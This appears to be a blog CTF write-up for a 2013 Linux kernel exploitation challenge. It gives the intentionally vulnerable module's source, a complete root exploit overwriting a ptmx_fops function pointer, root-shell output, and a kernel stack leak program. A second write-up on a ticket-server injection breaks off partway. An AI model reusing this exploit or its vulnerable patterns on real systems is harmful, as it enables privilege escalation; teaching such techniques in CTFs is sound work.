CSAW CTF 2013 Kernel Exploitation Challenge

Table of Contents

Introduction

CSAW CTF 2013 was last weekend, and this year I was lucky enough to be named a judge for the competition.  I decided to bring back the Linux kernel exploitation tradition of previous years and submitted the challenge “Brad Oberberg.”  Four of the 15 teams successfully solved the challenge.

Each team was presented with unprivileged access to a live VM running 32-bit Ubuntu 12.04.3 LTS.  The vulnerable kernel module csaw.ko was loaded on each system, and successful exploitation would allow for local privilege escalation and subsequent reading of the flag.  Source code to the kernel module was provided to each team, and may be viewed below (or downloaded here):

/*
 *                      .ed"""" """$$$$be.
 *                    -"           ^""**$$$e.
 *                  ."                   '$$$c
 *                 /     C S A W          "4$$b
 *                d  3      2 0 1 3         $$$$
 *                $  *                   .$$$$$$
 *               .$  ^c           $$$$$e$$$$$$$$.
 *               d$L  4.         4$$$$$$$$$$$$$$b
 *               $$$$b ^ceeeee.  4$$ECL.F*$$$$$$$
 *   e$""=.      $$$$P d$$$$F $ $$$$$$$$$- $$$$$$
 *  z$$b. ^c     3$$$F "$$$$b   $"$$$$$$$  $$$$*"      .=""$c
 * 4$$$$L        $$P"  "$$b   .$ $$$$$...e$$        .=  e$$$.
 * ^*$$$$$c  %..   *c    ..    $$ 3$$$$$$$$$$eF     zP  d$$$$$
 *   "**$$$ec   "   %ce""    $$$  $$$$$$$$$$*    .r" =$$$$P""
 *         "*$b.  "c  *$e.    *** d$$$$$"L$$    .d"  e$$***"
 *           ^*$$c ^$c $$$      4J$$$$$% $$$ .e*".eeP"
 *              "$$$$$$"'$=e....$*$$**$cz$$" "..d$*"
 *                "*$$$  *=%4.$ L L$ P3$$$F $$$P"
 *                   "$   "%*ebJLzb$e$$$$$b $P"
 *                     %..      4$$$$$$$$$$ "
 *                      $$$e   z$$$$$$$$$$%
 *                       "*$c  "$$$$$$$P"
 *                        ."""*$$$$$$$$bc
 *                     .-"    .$***$$$"""*e.
 *                  .-"    .e$"     "*$c  ^*b.
 *           .=*""""    .e$*"          "*bc  "*$e..
 *         .$"        .z*"               ^*$e.   "*****e.
 *         $$ee$c   .d"                     "*$.        3.
 *         ^*$E")$..$"                         *   .ee==d%
 *            $.d$$$*                           *  J$$$e*
 *             """""                              "$$$" Gilo95'
 */

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/random.h>
#include <linux/list.h>
#include <linux/sched.h>
#include <asm/uaccess.h>

#define DRIVER_VERSION "CSAW SUCKiT v1.3.37"

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS	    CSAW_IOCTL_BASE+7

#define MAX_CONSUMERS 255

struct csaw_buf {
    unsigned long consumers[MAX_CONSUMERS];
    char *buf;
    unsigned long size;
    unsigned long seed;
    struct list_head list;
};

LIST_HEAD(csaw_bufs);

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};

struct read_args {
    unsigned long handle;
    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

unsigned long clients = 0;
unsigned long handles = 0;
unsigned long bytes_read = 0;
unsigned long bytes_written = 0;

static int csaw_open ( struct inode *inode, struct file *file )
{
    clients++;

    return 0;
}

static int csaw_release ( struct inode *inode, struct file *file )
{
    clients--;

    return 0;
}

int alloc_buf ( struct alloc_args *alloc_args )
{
    struct csaw_buf *cbuf;
    char *buf;
    unsigned long size, seed, handle;

    size = alloc_args->size;

    if ( ! size )
        return -EINVAL;

    cbuf = kmalloc(sizeof(*cbuf), GFP_KERNEL);
    if ( ! cbuf )
        return -ENOMEM;

    buf = kzalloc(size, GFP_KERNEL);
    if ( ! buf )
    {
        kfree(cbuf);
        return -ENOMEM;
    }

    cbuf->buf = buf;
    cbuf->size = size;

    memset(&cbuf->consumers, 0, sizeof(cbuf->consumers));
    cbuf->consumers[0] = current->pid;

    get_random_bytes(&seed, sizeof(seed));

    cbuf->seed = seed;

    handle = (unsigned long)buf ^ seed;

    list_add(&cbuf->list, &csaw_bufs);

    alloc_args->handle = handle;

    return 0;
}

void free_buf ( struct csaw_buf *cbuf )
{
    list_del(&cbuf->list);
    kfree(cbuf->buf);
    kfree(cbuf);
}

struct csaw_buf *find_cbuf ( unsigned long handle )
{
    struct csaw_buf *cbuf;

    list_for_each_entry ( cbuf, &csaw_bufs, list )
        if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
            return cbuf;

    return NULL;
}

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
    int ret = 0;
    unsigned long *argp = (unsigned long *)arg;

    switch ( cmd )
    {
        case CSAW_ALLOC_HANDLE:
        {
            int ret;
            struct alloc_args alloc_args;

            if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) )
                return -EFAULT;

            if ( (ret = alloc_buf(&alloc_args)) < 0 )
                return ret;

            if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
                return -EFAULT;

            handles++;

            break;
        }

        case CSAW_READ_HANDLE:
        {
            struct read_args read_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;
            unsigned long to_read;

            if ( copy_from_user(&read_args, argp, sizeof(read_args)) )
                return -EFAULT;

            cbuf = find_cbuf(read_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            to_read = min(read_args.size, cbuf->size);

            if ( copy_to_user(read_args.out, cbuf->buf, to_read) )
                return -EFAULT;

            bytes_read += to_read;

            break;
        }

        case CSAW_WRITE_HANDLE:
        {
            struct write_args write_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;
            unsigned long to_write;

            if ( copy_from_user(&write_args, argp, sizeof(write_args)) )
                return -EFAULT;

            cbuf = find_cbuf(write_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            to_write = min(write_args.size, cbuf->size);

            if ( copy_from_user(cbuf->buf, write_args.in, to_write) )
                return -EFAULT;

            bytes_written += to_write;

            break;
        }

        case CSAW_GET_CONSUMER:
        {
            struct consumer_args consumer_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
                return -EFAULT;

            cbuf = find_cbuf(consumer_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            consumer_args.pid = cbuf->consumers[consumer_args.offset];

            if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) )
                return -EFAULT;

            break;
        }

        case CSAW_SET_CONSUMER:
        {
            struct consumer_args consumer_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
                return -EFAULT;

            cbuf = find_cbuf(consumer_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            cbuf->consumers[consumer_args.offset] = consumer_args.pid;

            break;
        }

        case CSAW_FREE_HANDLE:
        {
            struct free_args free_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&free_args, argp, sizeof(free_args)) )
                return -EFAULT;

            cbuf = find_cbuf(free_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            free_buf(cbuf);

            handles--;

            break;
        }

        case CSAW_GET_STATS:
        {
            struct csaw_stats csaw_stats;

            csaw_stats.clients = clients;
            csaw_stats.handles = handles;
            csaw_stats.bytes_read = bytes_read;
            csaw_stats.bytes_written = bytes_written;
            strcpy(csaw_stats.version, DRIVER_VERSION);

            if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) )
                return -EFAULT;

            break;
        }

        default:
            ret = -EINVAL;
            break;
    }

    return ret;
}

static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos )
{
    char *stats;
    unsigned int to_read;
    unsigned int ret;

    stats = kmalloc(1024, GFP_KERNEL);
    if ( ! buf )
        return -ENOMEM;

    ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n",
             clients, handles, bytes_read, bytes_written);

    if ( count < ret )
        to_read = count;
    else
        to_read = ret;

    if ( copy_to_user(buf, stats, to_read) )
    {
        kfree(stats);
        return -EFAULT;
    }

    kfree(stats);

    return 0;
}

static const struct file_operations csaw_fops = {
    owner:          THIS_MODULE,
    open:           csaw_open,
    release:        csaw_release,
    unlocked_ioctl: csaw_ioctl,
    read:           csaw_read,
};

static struct miscdevice csaw_miscdev = {
    name:   "csaw",
    fops:   &csaw_fops
};

static int __init lezzdoit ( void )
{
    misc_register(&csaw_miscdev);

    return 0;
}

static void __exit wereouttahurr ( void )
{
    misc_deregister(&csaw_miscdev);
}

module_init(lezzdoit);
module_exit(wereouttahurr);

MODULE_LICENSE("GPL");

Understanding the Code

The kernel module is meant to provide a shared buffer system between processes.  By interacting with the /dev/csaw interface, processes may do various things such as allocating a new buffer of arbitrary size, reading and writing to the buffer, and controlling which process IDs may operate on it.  The main point of interaction with the module is through the ioctl handler csaw_ioctl().

The CSAW_ALLOC_HANDLE command allocates a new buffer of size specified by the user and returns a handle.  A handle in this context is simply the the buffer address XOR’d with a random 32-bit value.

Given a valid handle to an existing allocated buffer, the commands CSAW_READ_HANDLE and CSAW_WRITE_HANDLE allow the user to read and write the contents of the buffer.  Only process IDs authorized in the buffer’s consumers array may perform these operations, however.

Again, given a valid handle to an existing allocated buffer, the CSAW_GET_CONSUMER and CSAW_SET_CONSUMER commands allow only authorized processes to modify the buffer’s consumers array.

Finally, the CSAW_FREE_HANDLE command allows authorized consumers to free a given buffer.

An extra command CSAW_GET_STATS provides no direct functionality towards shared buffer management, but provides interesting debug information about the module.  Calling read() on the interface provides similar data.

Tracing the Vulnerable Code Path

Upon entry to csaw_ioctl(), user controls the arguments cmd and arg, and thus the variable argp:

183 static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
184 {
185     int ret = 0;
186     unsigned long *argp = (unsigned long *)arg;
187 
188     switch ( cmd )
189     {

By providing the CSAW_SET_CONSUMER command, the following case is chosen:

299         case CSAW_SET_CONSUMER:
300         {
301             struct consumer_args consumer_args;
302             struct csaw_buf *cbuf;
303             unsigned int i, authorized = 0;
304 
305             if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
306                 return -EFAULT;
307 
308             cbuf = find_cbuf(consumer_args.handle);
309             if ( ! cbuf )
310                 return -EINVAL;

On line 305, user data is safely copied into the struct consumer_args:

91 struct consumer_args {
92     unsigned long handle;
93     unsigned long pid;
94     unsigned char offset;
95 };

On line 308, consumer_args.handle is verified to be a valid handle.  By previously allocating a new buffer via the CSAW_ALLOC_HANDLE command and passing the returned handle here, this check may be satisfied.

Next, the calling process to verified to be in the list of authorized consumers:

312             for ( i = 0; i < MAX_CONSUMERS; i++ )
313                 if ( current->pid == cbuf->consumers[i] )
314                     authorized = 1;
315 
316             if ( ! authorized )
317                 return -EPERM;

Since our current process is also the creator of the given handle, this check is satisfied automatically due to the consumers array being initialized with the current process ID.

Next, the consumers list is updated to reflect the desired edit:

319             cbuf->consumers[consumer_args.offset] = consumer_args.pid;

Line 319 is interesting for a variety of reasons.

At first sight, it appears to suffer from an unbounded array index vulnerability due to the user-controlled consumer_args.offset value being used directly as an array index without prior sanity check.  With such a vulnerability, it would be possible to write a user-controlled 32-bit value at an arbitrary offset from &cbuf->consumers.

However, upon further inspection of the struct definition, we find that consumer_args.offset is in fact of type unsigned char, meaning that its value is bounded from 0-255 instead of 0-(232-1).

Looking at the definition of struct csaw_buf, we find that cbuf->consumers is appropriately sized and doesn’t allow a user to index outside of the array:

58 #define MAX_CONSUMERS 255
59 
60 struct csaw_buf {
61     unsigned long consumers[MAX_CONSUMERS];
62     char *buf;
63     unsigned long size;
64     unsigned long seed;
65     struct list_head list;
66 };

…Or does it?

Recall how C buffer allocation and array indexing works.  The consumers array is allocated with size 255 elements.  By providing the value 255 as an array index, we are not referencing the last element, but instead one past the last element since C begins counting at the 0 index.

This means there is an off-by-one vulnerability in this code, and we can write an arbitrary 32-bit value immediately after the end of consumers in our buffer’s csaw_cbuf struct (or leak the existing value via CSAW_GET_CONSUMER).

Leveraging the Vulnerability

The actual impact of this vulnerability depends on exactly what data follows the consumers array and what control is afforded by manipulating it.

Interestingly enough, we notice that a pointer buf immediately follows the array and may be fully controlled or leaked with our bug:

60 struct csaw_buf {
61     unsigned long consumers[MAX_CONSUMERS];
62     char *buf;
63     unsigned long size;
64     unsigned long seed;
65     struct list_head list;
66 };

This buf pointer stores the location of the heap buffer associated with an allocated handle. In normal operation, the module would read and write to this pointer when getting or settings the contents of a shared buffer.  Instead, we can abuse the functionality of CSAW_WRITE_HANDLE to achieve an exploitation primitive:

240         case CSAW_WRITE_HANDLE:
241         {
242             struct write_args write_args;
243             struct csaw_buf *cbuf;
244             unsigned int i, authorized = 0;
245             unsigned long to_write;
246 
247             if ( copy_from_user(&write_args, argp, sizeof(write_args)) )
248                 return -EFAULT;
249 
250             cbuf = find_cbuf(write_args.handle);
251             if ( ! cbuf )
252                 return -EINVAL;
253 
254             for ( i = 0; i < MAX_CONSUMERS; i++ ) 255                 if ( current->pid == cbuf->consumers[i] )
256                     authorized = 1;
257 
258             if ( ! authorized )
259                 return -EPERM;
260 
261             to_write = min(write_args.size, cbuf->size);
262 
263             if ( copy_from_user(cbuf->buf, write_args.in, to_write) )
264                 return -EFAULT;
265 
266             bytes_written += to_write;
267 
268             break;
269         }

On line 263, user data is presumably safely copied into kernelspace using the copy_from_user() function.  However, with our newfound control over cbuf->buf, we may now point this write operation at any arbitrary location in the kernel, resulting in an arbitrary write primitive.

Mirroring this functionality in CSAW_READ_HANDLE, we may also leverage the bug to leak memory at any arbitrary location in the kernel, resulting in an arbitrary read primitive.

Circumventing Additional Obstacles

Although we’ve identified a vector by which to leverage our off-by-one as arbitrary read and write primitives, there are still additional obstacles to overcome before continuing with our exploit.

Specifically, the call to find_cbuf() on line 250 of CSAW_WRITE_HANDLE is troublesome:

250             cbuf = find_cbuf(write_args.handle);
251             if ( ! cbuf )
252                 return -EINVAL;

Looking at the implementation of find_cbuf(), we find something interesting:

172 struct csaw_buf *find_cbuf ( unsigned long handle )
173 {
174     struct csaw_buf *cbuf;
175 
176     list_for_each_entry ( cbuf, &csaw_bufs, list )
177         if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
178             return cbuf;
179 
180     return NULL;
181 }

On lines 176-178, the function iterates through the linked list of allocated buffers and determines if the user-supplied handle matches that of an existing buffer.

Recall that handles are calculated as an XOR of the buffer address and 32 bits of randomness.  Thus, by corrupting an existing cbuf->buf address, all handle lookups for that buffer will subsequently fail since the calculation no longer matches our given handle.

Thus, in order to achieve our arbitrary read and write, we will need to first somehow leak the buffer’s seed value and recalculate the necessary handle to pass in.  Although seed can’t be directly leaked with the off-by-one bug, it is still possible to infer its value due to the nature of the calculation.

Thanks to the reversibility of the XOR operation, we can instead first leak the existing cbuf->buf value and XOR it with its given handle, obtaining the seed value as a result. Then, by XOR’ng the new cbuf->buf value with the leaked seed, a new valid handle may be calculated and passed in, satisfying the validation function and successfully returning the manipulated buffer struct.

With all obstacles satisfied and exploit primitives realized, it’s time to write an exploit.

Achieving Local Privilege Escalation

While there are numerous techniques to achieve privilege escalation, my solution to the challenge uses the common technique of simply overwriting and triggering a kernel function pointer with the address of a payload in userspace.

Despite an effort to const-ify (make read-only) all possible function pointers in the kernel, certain design patterns still leave opportunity open for easy exploitation.  By overwriting the aio_write function pointer within the ptmx_fops struct associated with /dev/ptmx, it is possible to subsequently trigger the pointer with a call to readv().  In addition to my solution, this specific technique may also be observed in the Enlightenment framework written by Brad Spengler (spender).

After corrupting and triggering the function pointer, kernel execution is then transferred to the following payload in userspace:

127 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
128 typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
129 
130 unsigned long commit_creds;
131 unsigned long prepare_kernel_cred;
132 unsigned long *cleanup;
133 
134 int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
135 {
136     _commit_creds commit = (_commit_creds)commit_creds;
137     _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;
138 
139     *cleanup = 0;
140 
141     commit(prepare(0));
142 
143     return 0;
144 }

Kernel symbol resolution was enabled for this challenge, so determining the addresses of commit_creds, prepare_kernel_cred, and ptmx_fops was achieved simply by parsing the output of /proc/kallsyms.

Since the value of aio_read within ptmx_fops is by default 0, cleanup was relatively painless and only required writing the value 0 back to the corrupted pointer location.

Exploit

Download

/*
 * CSAW 2013 Michael Coppola solution
 */

#include 
#include 
#include 
#include <sys/ioctl.h>
#include 
#include 
#include 
#include <sys/uio.h>
#include <sys/utsname.h>

#define BUF_SIZE 0x100

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS      CSAW_IOCTL_BASE+7

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};

struct read_args {
    unsigned long handle;
    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long *cleanup;

int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
{
    _commit_creds commit = (_commit_creds)commit_creds;
    _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;

    *cleanup = 0;

    commit(prepare(0));

    return 0;
}

int main ( int argc, char **argv )
{
    int fd, pfd, ret;
    unsigned long handle, buf, seed, target, new_handle, ptmx_fops;
    unsigned long payload[4];
    struct alloc_args alloc_args;
    struct write_args write_args;
    struct consumer_args consumer_args;
    struct iovec iov;

    fd = open("/dev/csaw", O_RDONLY);
    if ( fd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    pfd = open("/dev/ptmx", O_RDWR);
    if ( pfd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    commit_creds = get_kernel_sym("commit_creds");
    if ( ! commit_creds )
    {
        printf("[-] commit_creds symbol not found, aborting\n");
        exit(1);
    }

    prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
    if ( ! prepare_kernel_cred )
    {
        printf("[-] prepare_kernel_cred symbol not found, aborting\n");
        exit(1);
    }

    ptmx_fops = get_kernel_sym("ptmx_fops");
    if ( ! ptmx_fops )
    {
        printf("[-] ptmx_fops symbol not found, aborting\n");
        exit(1);
    }

    memset(&alloc_args, 0, sizeof(alloc_args));
    alloc_args.size = BUF_SIZE;

    ret = ioctl(fd, CSAW_ALLOC_HANDLE, &alloc_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    handle = alloc_args.handle;

    printf("[+] Acquired handle: %lx\n", handle);

    memset(&consumer_args, 0, sizeof(consumer_args));
    consumer_args.handle = handle;
    consumer_args.offset = 255;

    ret = ioctl(fd, CSAW_GET_CONSUMER, &consumer_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    buf = consumer_args.pid;

    printf("[+] buf = %lx\n", buf);

    seed = buf ^ handle;

    printf("[+] seed = %lx\n", seed);

    target = ptmx_fops + sizeof(void *) * 4;

    printf("[+] target = %lx\n", target);

    new_handle = target ^ seed;

    printf("[+] new handle = %lx\n", new_handle);

    memset(&consumer_args, 0, sizeof(consumer_args));
    consumer_args.handle = handle;
    consumer_args.offset = 255;
    consumer_args.pid = target;

    ret = ioctl(fd, CSAW_SET_CONSUMER, &consumer_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    buf = (unsigned long)&get_root;

    memset(&write_args, 0, sizeof(write_args));
    write_args.handle = new_handle;
    write_args.size = sizeof(buf);
    write_args.in = &buf;

    ret = ioctl(fd, CSAW_WRITE_HANDLE, &write_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    printf("[+] Triggering payload\n");

    cleanup = (unsigned long *)target;

    iov.iov_base = &iov;
    iov.iov_len = sizeof(payload);
    ret = readv(pfd, &iov, 1);

    if ( getuid() )
    {
        printf("[-] Failed to get root\n");
        exit(1);
    }
    else
        printf("[+] Got root!\n");

    printf("[+] Enjoy your shell...\n");
    execl("/bin/sh", "sh", NULL);

    return 0;
}

Proof of Concept

csaw@gibson:~$ ./solution 
[+] Resolved commit_creds to 0xc1073be0
[+] Resolved prepare_kernel_cred to 0xc1073e10
[+] Resolved ptmx_fops to 0xc1ac8ec0
[+] Acquired handle: da56b670
[+] buf = f6a84200
[+] seed = 2cfef470
[+] target = c1ac8ed0
[+] new handle = ed527aa0
[+] Triggering payload
[+] Got root!
[+] Enjoy your shell...
# id
uid=0(root) gid=0(root) groups=0(root)
#

Bonus Points

Although there were no actual bonus points to be awarded in the CTF, there is an additional information leak in the challenge that may have been utilized should symbol resolution be disabled (and you didn’t want to, ya know, use the arbitrary read).

Specifically, the CSAW_GET_STATS command contains the vulnerable code:

351         case CSAW_GET_STATS:
352         {
353             struct csaw_stats csaw_stats;
354 
355             csaw_stats.clients = clients;
356             csaw_stats.handles = handles;
357             csaw_stats.bytes_read = bytes_read;
358             csaw_stats.bytes_written = bytes_written;
359             strcpy(csaw_stats.version, DRIVER_VERSION);
360 
361             if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) )
362                 return -EFAULT;
363 
364             break;
365         }

The information leak manifests itself in the version member of csaw_stats, where uninitialized kstack data is returned to the user.  This vulnerability may be identified upon further inspection of the struct definition:

 47 #define DRIVER_VERSION "CSAW SUCKiT v1.3.37"
...
 97 struct csaw_stats {
 98     unsigned long clients;
 99     unsigned long handles;
100     unsigned long bytes_read;
101     unsigned long bytes_written;
102     char version[40];
103 };

Note how version is allocated with size 40, while the DRIVER_VERSION string being strcpy()‘d is only 20 bytes long (including the terminating null byte).

The following code leaks out 20 bytes of uninitialized kstack data to userspace:

Download

/*
 * CSAW 2013 Michael Coppola leak uninitialized kstack
 */

#include 
#include 
#include 
#include <sys/ioctl.h>
#include 
#include 
#include 
#include <sys/uio.h>
#include <sys/utsname.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_GET_STATS      CSAW_IOCTL_BASE+7

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

int main ( int argc, char **argv )
{
    int fd, ret, i;
    struct csaw_stats csaw_stats;

    fd = open("/dev/csaw", O_RDONLY);
    if ( fd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    memset(&csaw_stats, 0, sizeof(csaw_stats));

    ret = ioctl(fd, CSAW_GET_STATS, &csaw_stats);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    for ( i = 0; i < 20; i++ )
        printf("%02hhx ", csaw_stats.version[20+i]);
    printf("\n");

    return 0;
}

And proof of concept:

csaw@gibson:~$ for i in {1..10}; do ./leak; done
00 ce 80 f6 14 00 00 00 28 00 00 00 30 79 62 b7 00 00 00 00 
40 c5 80 f6 14 00 00 00 28 00 00 00 30 39 6f b7 00 00 00 00 
00 c7 80 f6 14 00 00 00 28 00 00 00 30 a9 68 b7 00 00 00 00 
c0 b8 82 f4 14 00 00 00 28 00 00 00 30 b9 66 b7 00 00 00 00 
00 c7 80 f6 14 00 00 00 28 00 00 00 30 b9 68 b7 00 00 00 00 
00 50 a6 f6 14 00 00 00 28 00 00 00 30 89 64 b7 00 00 00 00 
c0 58 a6 f6 14 00 00 00 28 00 00 00 30 29 67 b7 00 00 00 00 
00 50 a6 f6 14 00 00 00 28 00 00 00 30 69 6c b7 00 00 00 00 
c0 58 a6 f6 14 00 00 00 28 00 00 00 30 39 69 b7 00 00 00 00 
00 50 a6 f6 14 00 00 00 28 00 00 00 30 e9 65 b7 00 00 00 00 
csaw@gibson:~$

Depending on the uninitialized data returned, it’s possible to leak pointers which may be used to calculate the base of one’s own kstack.  Using this information in the absence of known targets for a write primitive, a calculated write may then be performed into the kstack to subsequently gain code execution.

This technique, known as “stackjacking,” was presented by Dan Rosenberg and Jon Oberheide in 2011 as a technique to exploit a Linux kernel hardened by the grsecurity patchset.

Although I have written a modified version of my solution that utilizes stackjacking for local privilege escalation, I’ll leave its implementation as an exercise to the reader.

MIT/LL CTF Writeup (Ticket Server)

This past weekend, I led team ” ” in the 2012 MIT Lincoln Lab CTF where we captured the flag for being the most offensive team, specifically, performing the most unique compromises of team + service.  No, literally, we won the flag:

Most_0wns_NEU_Space

Team ” “, from left to right: Michael Weissbacher, Amat Cama, Me, Travis Donnell, Ryan Rickert

One of the services we were tasked to install was a client-facing WordPress widget called Ticket that dispatched out to a binary backend.  In order to interact with the widget, users were required to first authenticate with the site using OpenID.

The widget kept a local database of users registered with the service in the text file /usr/share/wordpress/data.txt, where entries were stored in the format:

<display name>:<hashed WordPress password>:<CC number>

Users’ PII served as flags in the competition, so access to this data was coveted.  However, this part was simple as the database installed itself readable to the web root.  What we really wanted was a shell.

Adding and updating one’s own user entry in the database was handled by the following Ruby code listening as a Sinatra server on port 9494:

post '/ticket' do
  text = File.read("/usr/share/wordpress/data.txt")
  if (text.match(/^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/)
     text.gsub!( /^#{Regexp.escape(params['tuser'])}:#{Regexp.escape(params['tpassword'])}:.+$/ , (params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'])))
  else
    text.concat(params['tuser'] + ':' + params['tpassword'] + ':' + params['tccn'] + "\n")
  end
  File.open("/usr/share/wordpress/data.txt", "w") {|file| file.write text}
  redirect url
end

Existing user:password:ccn tuples would be updated and new accounts would be appended to the end of the file.  Note that each field of data is arbitrarily controlled by the user.

Subsequent visits to the WordPress site would trigger the widget to perform a lookup in the text file for the currently logged in user, which was handled by a binary named ‘movie’. The resulting command was crafted like:

movie 'displayname:$H$ashedpassword'

where the display name was sanitized by the following regex:

preg_replace("/[^a-zA-Z0-9 ]+/", "", $name);

